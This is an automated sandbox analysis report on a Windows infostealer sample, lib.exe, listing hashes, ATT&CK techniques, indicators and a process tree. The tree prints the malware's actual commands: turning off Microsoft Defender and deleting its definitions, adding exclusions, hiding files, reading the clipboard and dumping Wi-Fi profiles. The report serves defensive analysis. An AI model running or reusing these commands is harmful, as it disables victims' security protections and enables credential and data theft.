4856319325a833da3168a95cdba27a106c2766f1f3a7561064d2a13eb4ca6976

Analysis

user interaction
yes
max time kernel
149s
max time network
112s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/11/2026, 12:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
lib.exe
Size 10.3MB
Sample261103-ptp76ssvbx
SHA256 4856319325a833da3168a95cdba27a106c2766f1f3a7561064d2a13eb4ca6976
MD5 085cfdecb9ca681c276a602067ee2707
SHA1 b1fef1d1fd87b057c045ac951892e3acb034dbc2
SHA512 1c43d14a619a8df829d34568916155e62777bd17c0a5039c19f64b3252586ab3f46fd673a8bdbac1dc069cdd591b2596d7cadac0afd8324ffd4d8a6cf59be043
SSDEEP 196608:hD2QUqpeZwmW165jZIP/gvELpYTS0Mzyp4ZAM9qxz/gcrbMyDn5by:hDSSqvIyT/Mzyp4Z/wOcrbBby
TLSH
T106B6334967E811F2ECE750BD9666E83ABB7AF8011F95C68F433853302E175E14A3E721
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

defense_evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
2852	MpCmdRun.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4872	powershell.exe
3820	powershell.exe
3372	powershell.exe
5760	powershell.exe
5716	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
4872	powershell.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	lib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
2432	cmd.exe
2344	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3404	rar.exe

Loads dropped DLL 18 IoCs

pid	Process
6036	lib.exe
6036	lib.exe
6036	lib.exe
6036	lib.exe
6036	lib.exe
6036	lib.exe
6036	lib.exe
6036	lib.exe
6036	lib.exe
6036	lib.exe
6036	lib.exe
6036	lib.exe
6036	lib.exe
6036	lib.exe
6036	lib.exe
6036	lib.exe
6036	lib.exe
6036	lib.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Discovers running processes 1 TTPs 4 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2764	tasklist.exe
976	tasklist.exe
3956	tasklist.exe
3012	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2304	cmd.exe

UPX packed file 60 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000d00000001c4df-34.dat	upx
behavioral2/memory/6036-37-0x00007FFA51080000-0x00007FFA516EB000-memory.dmp	upx
behavioral2/files/0x001900000001c468-40.dat	upx
behavioral2/files/0x000d00000001c4d6-43.dat	upx
behavioral2/memory/6036-45-0x00007FFA6B7F0000-0x00007FFA6B7FF000-memory.dmp	upx
behavioral2/memory/6036-42-0x00007FFA65400000-0x00007FFA65427000-memory.dmp	upx
behavioral2/files/0x001100000001c448-46.dat	upx
behavioral2/memory/6036-49-0x00007FFA653E0000-0x00007FFA653FA000-memory.dmp	upx
behavioral2/files/0x000d00000001c4c9-48.dat	upx
behavioral2/memory/6036-51-0x00007FFA653B0000-0x00007FFA653DB000-memory.dmp	upx
behavioral2/files/0x000d00000001c4cc-52.dat	upx
behavioral2/files/0x000d00000001c4d1-54.dat	upx
behavioral2/memory/6036-55-0x00007FFA69FE0000-0x00007FFA69FED000-memory.dmp	upx
behavioral2/memory/6036-58-0x00007FFA67FE0000-0x00007FFA67FEF000-memory.dmp	upx
behavioral2/files/0x001000000001c4c8-60.dat	upx
behavioral2/files/0x000d00000001c4d5-62.dat	upx
behavioral2/memory/6036-63-0x00007FFA644D0000-0x00007FFA644E6000-memory.dmp	upx
behavioral2/memory/6036-65-0x00007FFA50B40000-0x00007FFA51071000-memory.dmp	upx
behavioral2/files/0x000d00000001c4ce-66.dat	upx
behavioral2/memory/6036-68-0x00007FFA644B0000-0x00007FFA644C9000-memory.dmp	upx
behavioral2/files/0x000d00000001c4e2-69.dat	upx
behavioral2/files/0x000d00000001c4d0-71.dat	upx
behavioral2/memory/6036-73-0x00007FFA64CC0000-0x00007FFA64CCD000-memory.dmp	upx
behavioral2/memory/6036-76-0x00007FFA65400000-0x00007FFA65427000-memory.dmp	upx
behavioral2/memory/6036-80-0x00007FFA6B7F0000-0x00007FFA6B7FF000-memory.dmp	upx
behavioral2/files/0x000d00000001c4dc-78.dat	upx
behavioral2/memory/6036-77-0x00007FFA640E0000-0x00007FFA64113000-memory.dmp	upx
behavioral2/memory/6036-72-0x00007FFA51080000-0x00007FFA516EB000-memory.dmp	upx
behavioral2/memory/6036-81-0x00007FFA64010000-0x00007FFA640DE000-memory.dmp	upx
behavioral2/files/0x000d00000001c4cf-86.dat	upx
behavioral2/files/0x000d00000001c4f1-88.dat	upx
behavioral2/memory/6036-89-0x00007FFA63FE0000-0x00007FFA64005000-memory.dmp	upx
behavioral2/memory/6036-91-0x00007FFA63E50000-0x00007FFA63FDA000-memory.dmp	upx
behavioral2/files/0x000d00000001c4f2-94.dat	upx
behavioral2/memory/6036-96-0x00007FFA63D90000-0x00007FFA63E42000-memory.dmp	upx
behavioral2/memory/6036-112-0x00007FFA67FE0000-0x00007FFA67FEF000-memory.dmp	upx
behavioral2/memory/6036-164-0x00007FFA644D0000-0x00007FFA644E6000-memory.dmp	upx
behavioral2/memory/6036-180-0x00007FFA50B40000-0x00007FFA51071000-memory.dmp	upx
behavioral2/memory/6036-191-0x00007FFA644B0000-0x00007FFA644C9000-memory.dmp	upx
behavioral2/memory/6036-226-0x00007FFA640E0000-0x00007FFA64113000-memory.dmp	upx
behavioral2/memory/6036-250-0x00007FFA64010000-0x00007FFA640DE000-memory.dmp	upx
behavioral2/memory/6036-247-0x00007FFA63FE0000-0x00007FFA64005000-memory.dmp	upx
behavioral2/memory/6036-234-0x00007FFA51080000-0x00007FFA516EB000-memory.dmp	upx
behavioral2/memory/6036-248-0x00007FFA63E50000-0x00007FFA63FDA000-memory.dmp	upx
behavioral2/memory/6036-275-0x00007FFA653B0000-0x00007FFA653DB000-memory.dmp	upx
behavioral2/memory/6036-273-0x00007FFA6B7F0000-0x00007FFA6B7FF000-memory.dmp	upx
behavioral2/memory/6036-272-0x00007FFA65400000-0x00007FFA65427000-memory.dmp	upx
behavioral2/memory/6036-278-0x00007FFA644D0000-0x00007FFA644E6000-memory.dmp	upx
behavioral2/memory/6036-277-0x00007FFA67FE0000-0x00007FFA67FEF000-memory.dmp	upx
behavioral2/memory/6036-276-0x00007FFA69FE0000-0x00007FFA69FED000-memory.dmp	upx
behavioral2/memory/6036-274-0x00007FFA653E0000-0x00007FFA653FA000-memory.dmp	upx
behavioral2/memory/6036-285-0x00007FFA63E50000-0x00007FFA63FDA000-memory.dmp	upx
behavioral2/memory/6036-286-0x00007FFA63D90000-0x00007FFA63E42000-memory.dmp	upx
behavioral2/memory/6036-284-0x00007FFA63FE0000-0x00007FFA64005000-memory.dmp	upx
behavioral2/memory/6036-283-0x00007FFA64010000-0x00007FFA640DE000-memory.dmp	upx
behavioral2/memory/6036-279-0x00007FFA50B40000-0x00007FFA51071000-memory.dmp	upx
behavioral2/memory/6036-282-0x00007FFA640E0000-0x00007FFA64113000-memory.dmp	upx
behavioral2/memory/6036-281-0x00007FFA64CC0000-0x00007FFA64CCD000-memory.dmp	upx
behavioral2/memory/6036-280-0x00007FFA644B0000-0x00007FFA644C9000-memory.dmp	upx
behavioral2/memory/6036-271-0x00007FFA51080000-0x00007FFA516EB000-memory.dmp	upx

Enumerates video capture drivers 2 TTPs 1 IoCs

Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

discovery defense_evasion

Peripheral Device Discovery

T1120

Video Capture

T1125

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9	lib.exe

Queries system WMI classes for hardware identifiers 2 TTPs 1 IoCs

Uses WMI to read hardware serial numbers or the system UUID, commonly used to fingerprint the victim machine.

discovery

System Information Discovery

T1082

Windows Management Instrumentation

T1047

pid	Process
1584	WMIC.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 30 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
6008	cmd.exe
4152	cmd.exe
4148	cmd.exe
5556	cmd.exe
2816	cmd.exe
5668	cmd.exe
4484	cmd.exe
6096	cmd.exe
2720	cmd.exe
4552	cmd.exe
5676	cmd.exe
5920	cmd.exe
1696	cmd.exe
4980	cmd.exe
4984	cmd.exe
3580	cmd.exe
2912	cmd.exe
5076	cmd.exe
1484	cmd.exe
4196	cmd.exe
676	cmd.exe
2572	cmd.exe
2400	cmd.exe
2652	cmd.exe
4116	cmd.exe
1336	cmd.exe
3128	cmd.exe
5172	cmd.exe
1344	cmd.exe
1892	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 12 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	lib.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	lib.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3128	cmd.exe
4136	PING.EXE

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4980	cmd.exe
1192	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4400	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3456	systeminfo.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4136	PING.EXE

Suspicious behavior: EnumeratesProcesses 45 IoCs

pid	Process
5760	powershell.exe
5760	powershell.exe
5716	powershell.exe
5716	powershell.exe
4872	powershell.exe
4872	powershell.exe
5716	powershell.exe
5760	powershell.exe
4872	powershell.exe
4872	powershell.exe
4484	WMIC.exe
4484	WMIC.exe
4484	WMIC.exe
4484	WMIC.exe
2344	powershell.exe
2344	powershell.exe
2344	powershell.exe
2988	powershell.exe
2988	powershell.exe
2988	powershell.exe
3820	powershell.exe
3820	powershell.exe
3820	powershell.exe
3508	powershell.exe
3508	powershell.exe
3508	powershell.exe
5728	WMIC.exe
5728	WMIC.exe
5728	WMIC.exe
5728	WMIC.exe
3664	WMIC.exe
3664	WMIC.exe
3664	WMIC.exe
3664	WMIC.exe
1584	WMIC.exe
1584	WMIC.exe
1584	WMIC.exe
1584	WMIC.exe
3372	powershell.exe
3372	powershell.exe
3372	powershell.exe
4400	WMIC.exe
4400	WMIC.exe
4400	WMIC.exe
4400	WMIC.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5760	powershell.exe
Token: SeDebugPrivilege	5716	powershell.exe
Token: SeDebugPrivilege	4872	powershell.exe
Token: SeDebugPrivilege	2764	tasklist.exe
Token: SeDebugPrivilege	976	tasklist.exe
Token: SeDebugPrivilege	3956	tasklist.exe
Token: SeIncreaseQuotaPrivilege	4484	WMIC.exe
Token: SeSecurityPrivilege	4484	WMIC.exe
Token: SeTakeOwnershipPrivilege	4484	WMIC.exe
Token: SeLoadDriverPrivilege	4484	WMIC.exe
Token: SeSystemProfilePrivilege	4484	WMIC.exe
Token: SeSystemtimePrivilege	4484	WMIC.exe
Token: SeProfSingleProcessPrivilege	4484	WMIC.exe
Token: SeIncBasePriorityPrivilege	4484	WMIC.exe
Token: SeCreatePagefilePrivilege	4484	WMIC.exe
Token: SeBackupPrivilege	4484	WMIC.exe
Token: SeRestorePrivilege	4484	WMIC.exe
Token: SeShutdownPrivilege	4484	WMIC.exe
Token: SeDebugPrivilege	4484	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4484	WMIC.exe
Token: SeRemoteShutdownPrivilege	4484	WMIC.exe
Token: SeUndockPrivilege	4484	WMIC.exe
Token: SeManageVolumePrivilege	4484	WMIC.exe
Token: 33	4484	WMIC.exe
Token: 34	4484	WMIC.exe
Token: 35	4484	WMIC.exe
Token: 36	4484	WMIC.exe
Token: SeDebugPrivilege	2344	powershell.exe
Token: SeIncreaseQuotaPrivilege	4484	WMIC.exe
Token: SeSecurityPrivilege	4484	WMIC.exe
Token: SeTakeOwnershipPrivilege	4484	WMIC.exe
Token: SeLoadDriverPrivilege	4484	WMIC.exe
Token: SeSystemProfilePrivilege	4484	WMIC.exe
Token: SeSystemtimePrivilege	4484	WMIC.exe
Token: SeProfSingleProcessPrivilege	4484	WMIC.exe
Token: SeIncBasePriorityPrivilege	4484	WMIC.exe
Token: SeCreatePagefilePrivilege	4484	WMIC.exe
Token: SeBackupPrivilege	4484	WMIC.exe
Token: SeRestorePrivilege	4484	WMIC.exe
Token: SeShutdownPrivilege	4484	WMIC.exe
Token: SeDebugPrivilege	4484	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4484	WMIC.exe
Token: SeRemoteShutdownPrivilege	4484	WMIC.exe
Token: SeUndockPrivilege	4484	WMIC.exe
Token: SeManageVolumePrivilege	4484	WMIC.exe
Token: 33	4484	WMIC.exe
Token: 34	4484	WMIC.exe
Token: 35	4484	WMIC.exe
Token: 36	4484	WMIC.exe
Token: SeDebugPrivilege	2988	powershell.exe
Token: SeIncreaseQuotaPrivilege	5716	powershell.exe
Token: SeSecurityPrivilege	5716	powershell.exe
Token: SeTakeOwnershipPrivilege	5716	powershell.exe
Token: SeLoadDriverPrivilege	5716	powershell.exe
Token: SeSystemProfilePrivilege	5716	powershell.exe
Token: SeSystemtimePrivilege	5716	powershell.exe
Token: SeProfSingleProcessPrivilege	5716	powershell.exe
Token: SeIncBasePriorityPrivilege	5716	powershell.exe
Token: SeCreatePagefilePrivilege	5716	powershell.exe
Token: SeBackupPrivilege	5716	powershell.exe
Token: SeRestorePrivilege	5716	powershell.exe
Token: SeShutdownPrivilege	5716	powershell.exe
Token: SeDebugPrivilege	5716	powershell.exe
Token: SeSystemEnvironmentPrivilege	5716	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2904 wrote to memory of 6036	2904	lib.exe	88
PID 6036 wrote to memory of 5920	6036	lib.exe	89
PID 6036 wrote to memory of 4116	6036	lib.exe	90
PID 6036 wrote to memory of 2304	6036	lib.exe	91
PID 6036 wrote to memory of 6008	6036	lib.exe	93
PID 5920 wrote to memory of 5716	5920	cmd.exe	97
PID 6008 wrote to memory of 5760	6008	cmd.exe	98
PID 2304 wrote to memory of 3612	2304	cmd.exe	99
PID 4116 wrote to memory of 4872	4116	cmd.exe	100
PID 6036 wrote to memory of 1336	6036	lib.exe	101
PID 6036 wrote to memory of 1696	6036	lib.exe	102
PID 6036 wrote to memory of 5172	6036	lib.exe	105
PID 6036 wrote to memory of 2432	6036	lib.exe	106
PID 6036 wrote to memory of 676	6036	lib.exe	108
PID 6036 wrote to memory of 5076	6036	lib.exe	111
PID 1336 wrote to memory of 2764	1336	cmd.exe	112
PID 6036 wrote to memory of 4980	6036	lib.exe	113
PID 6036 wrote to memory of 4152	6036	lib.exe	116
PID 6036 wrote to memory of 5668	6036	lib.exe	118
PID 6036 wrote to memory of 2612	6036	lib.exe	120
PID 1696 wrote to memory of 976	1696	cmd.exe	122
PID 676 wrote to memory of 3956	676	cmd.exe	123
PID 2432 wrote to memory of 2344	2432	cmd.exe	124
PID 4980 wrote to memory of 1192	4980	cmd.exe	125
PID 4152 wrote to memory of 3456	4152	cmd.exe	126
PID 5172 wrote to memory of 4484	5172	cmd.exe	153
PID 5668 wrote to memory of 2184	5668	cmd.exe	128
PID 5076 wrote to memory of 5836	5076	cmd.exe	151
PID 2612 wrote to memory of 2988	2612	cmd.exe	131
PID 6036 wrote to memory of 4984	6036	lib.exe	132
PID 4984 wrote to memory of 2236	4984	cmd.exe	134
PID 6036 wrote to memory of 2572	6036	lib.exe	135
PID 2988 wrote to memory of 1820	2988	powershell.exe	137
PID 2572 wrote to memory of 480	2572	cmd.exe	139
PID 1820 wrote to memory of 6044	1820	csc.exe	140
PID 6036 wrote to memory of 1484	6036	lib.exe	141
PID 6036 wrote to memory of 4148	6036	lib.exe	142
PID 4148 wrote to memory of 5548	4148	cmd.exe	145
PID 1484 wrote to memory of 3040	1484	cmd.exe	146
PID 6036 wrote to memory of 1344	6036	lib.exe	147
PID 6036 wrote to memory of 5556	6036	lib.exe	149
PID 1344 wrote to memory of 5836	1344	cmd.exe	151
PID 5556 wrote to memory of 3012	5556	cmd.exe	152
PID 6036 wrote to memory of 4484	6036	lib.exe	153
PID 4484 wrote to memory of 1636	4484	cmd.exe	155
PID 6036 wrote to memory of 6096	6036	lib.exe	156
PID 6096 wrote to memory of 4280	6096	cmd.exe	158
PID 4116 wrote to memory of 2852	4116	cmd.exe	159
PID 6036 wrote to memory of 3580	6036	lib.exe	160
PID 3580 wrote to memory of 4092	3580	cmd.exe	162
PID 6036 wrote to memory of 2720	6036	lib.exe	163
PID 2720 wrote to memory of 3820	2720	cmd.exe	165
PID 6036 wrote to memory of 4552	6036	lib.exe	166
PID 4552 wrote to memory of 3508	4552	cmd.exe	168
PID 6036 wrote to memory of 2816	6036	lib.exe	169
PID 2816 wrote to memory of 3404	2816	cmd.exe	171
PID 6036 wrote to memory of 2400	6036	lib.exe	173
PID 2400 wrote to memory of 5728	2400	cmd.exe	175
PID 6036 wrote to memory of 2912	6036	lib.exe	176
PID 2912 wrote to memory of 3664	2912	cmd.exe	178
PID 6036 wrote to memory of 2652	6036	lib.exe	179
PID 2652 wrote to memory of 1584	2652	cmd.exe	181
PID 6036 wrote to memory of 1892	6036	lib.exe	182
PID 1892 wrote to memory of 3372	1892	cmd.exe	184

Views/modifies file attributes 1 TTPs 3 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3612	attrib.exe
480	attrib.exe
3040	attrib.exe

C:\Users\Admin\AppData\Local\Temp\lib.exe
"C:\Users\Admin\AppData\Local\Temp\lib.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2904
- C:\Users\Admin\AppData\Local\Temp\lib.exe
  "C:\Users\Admin\AppData\Local\Temp\lib.exe"
  2⤵
  - Drops file in Drivers directory
  - Loads dropped DLL
  - Enumerates video capture drivers
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of WriteProcessMemory
  PID:6036
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\lib.exe'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5920
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\lib.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4116
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4872
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:2852
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\lib.exe""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:2304
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Local\Temp\lib.exe"
      4⤵
      Views/modifies file attributes
      PID:3612
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‌ ‌.scr'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:6008
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‌ ‌.scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1336
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1696
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5172
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4484
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:2432
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2344
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:676
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3956
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5076
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:4980
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:1192
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4152
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:3456
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5668
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
      4⤵
      PID:2184
- - C:\Windows\system32\cmd.exe
